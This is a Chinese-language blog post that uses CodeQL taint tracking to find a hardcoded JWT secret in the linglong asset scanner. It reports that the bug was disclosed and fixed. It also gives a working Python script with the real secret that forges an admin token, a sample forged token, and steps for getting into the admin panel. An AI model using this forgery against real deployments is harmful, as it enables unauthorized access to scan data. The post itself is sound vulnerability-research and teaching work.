CodeQL 挖掘 linglong 中常量参数引发的安全问题

程序员开发的过程中,可能会将一些常量写死在程序中,比如说加密算法的私钥。这将导致程序部署后,攻击者可以使用该常量生成密文或对加密数据进行破译。

闲来无事,找到了 linglong,它使用 JWT 进行认证,同时私钥是定义在程序中的常量。本文通过 CodeQL 来挖掘它。

linglong: 一款资产巡航扫描系统。系统定位是通过 masscan + nmap 无限循环去发现新增资产,自动进行端口弱口令爆破/、指纹识别、XrayPoc 扫描。主要功能包括: 资产探测、端口爆破、Poc 扫描、指纹识别、定时任务、管理后台识别、报表展示。 使用场景是 Docker 搭建好之后,设置好你要扫描的网段跟爆破任务。就不要管他了,没事过来收漏洞就行了。

生成数据库

使用 CodeQL 首先需要生成它的数据库,通常来说只需要使用 codeql database create db -l go即可生成对应的数据库,但是这个项目需要使用codeql database create db -l go -c "go build"才能生成。

分析

该程序使用的是 github.com/dgrijalva/jwt-go 作为 JWT 工具,先看看这个包是如何生成 JWT 密文的(官方例子):

// https://github.com/dgrijalva/jwt-go/blob/master/test/helpers.go
func MakeSampleToken(c jwt.Claims, key interface{}) string {
	token := jwt.NewWithClaims(jwt.SigningMethodRS256, c)
	s, e := token.SignedString(key)

	if e != nil {
		panic(e.Error())
	}

	return s
}

很明显,调用了 SignedString 生成密文,可以通过以下语句获取到这个函数

import go

from Function fun
where fun.getName() = "SignedString"
select fun	

// 结果为 SignedString

接着需要找到调用该函数的位置,CodeQL 中可以使用函数调用表达式 CallExpr,如下图所示

通过函数的定义可以发现,SignedString只有一个参数,这个参数就是私钥,为字节切片类型,将这些信息加上

import go

from Function fun, CallExpr call
where fun.getQualifiedName().matches("github.com/dgrijalva/jwt-go%") and
  fun.getName() = "SignedString" and
  call.getTarget() = fun and
  call.getNumArgument() = 1 and
  call.getArgument(0).getType() instanceof ByteSliceType
select call

结果是不变的,以上就是参数的调用。接着需要找到程序中的常量,并且判断常量是否就是参数的值,这里先获取程序中所有的常量:

import go
from Expr expr
where expr.isConst()
select expr

发现程序中所有的常量表达式都被查询了出来,最后一步就是将常量参数的定义和函数调用连接起来,我这里使用的是 TaintTracking

完整代码

import go

class JWTConfig extends TaintTracking::Configuration {

  JWTConfig() {
    this = "JWTConfig"
  }

  override predicate isSource(DataFlow::Node source) {
    exists(|
      source.asExpr().isConst())
  }

  override predicate isSink(DataFlow::Node sink) {
    exists( CallExpr call, Function fun |
        fun.getQualifiedName().matches("github.com/dgrijalva/jwt-go%") and
        call.getTarget() = fun and 
        call.getAnArgument() = sink.asExpr() and
        call.getAnArgument().getType() instanceof ByteSliceType and
        fun.getName() = "SignedString"
    )
  }
}

from JWTConfig config, DataFlow::Node source, DataFlow::Node sink
where config.hasFlow(source, sink)
select source, sink

查询结果

以上漏洞已通知作者并申请 CVE 编号,漏洞详情:https://github.com/awake1t/linglong/issues/74

利用

首先使用相同算法即可生成伪造好的 JWT 信息,利用脚本放在文章末尾

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imxpbmdsb25nIiwicGFzc3dvcmQiOiJxYXhzZWMiLCJleHAiOjE2NTAyNzYwOTAsImlzcyI6Imxpbmdsb25nIn0.jCiOvtQkXyQXsqzqWY8FdN7yiyTTj-piIo_aSKF3v6Q

接着打开目标站点,将生成的数据写入到会话储存空间

最后访问目标站点的 /#/welcome 地址,成功进入后台,并且可以查看扫描结果等数据

修复

发现 jwt.go 文件中引入了 linglong/global 但后来注释掉了,猜测这里是作者为了方便测试,临时定义的 jwtSecret。修复思路很简单,引入 linglong/global 同时将 SignedString 的参数设置为配置文件中的 jwtSecret

详情:

https://github.com/awake1t/linglong/pull/75/commits/fe0bb6131d5fcdca11a39c0bbce68721ac714307

总结

  • 在程序开发过程中,对于加密私钥等数据尽量随机生成或储存在配置文件中并提示使用者更改

  • 学习 CodeQL 还得多上手练,这个语言容易眼高手低,没有亲自下手操作一遍根本无法理解

利用脚本,需要安装 pyjwt

import jwt
import time

# JWT payload
payload = {
  "username": "linglong",
  "password": "Bingan",
  "exp": int(time.time()) + 100000,
  "iss": "linglong"
}

# 生成 jwt 加密数据
def create_jwt(payload, secret='213123dd1', algorithm='HS256'):
    return jwt.encode(payload, secret, algorithm=algorithm)
  
print(create_jwt(payload))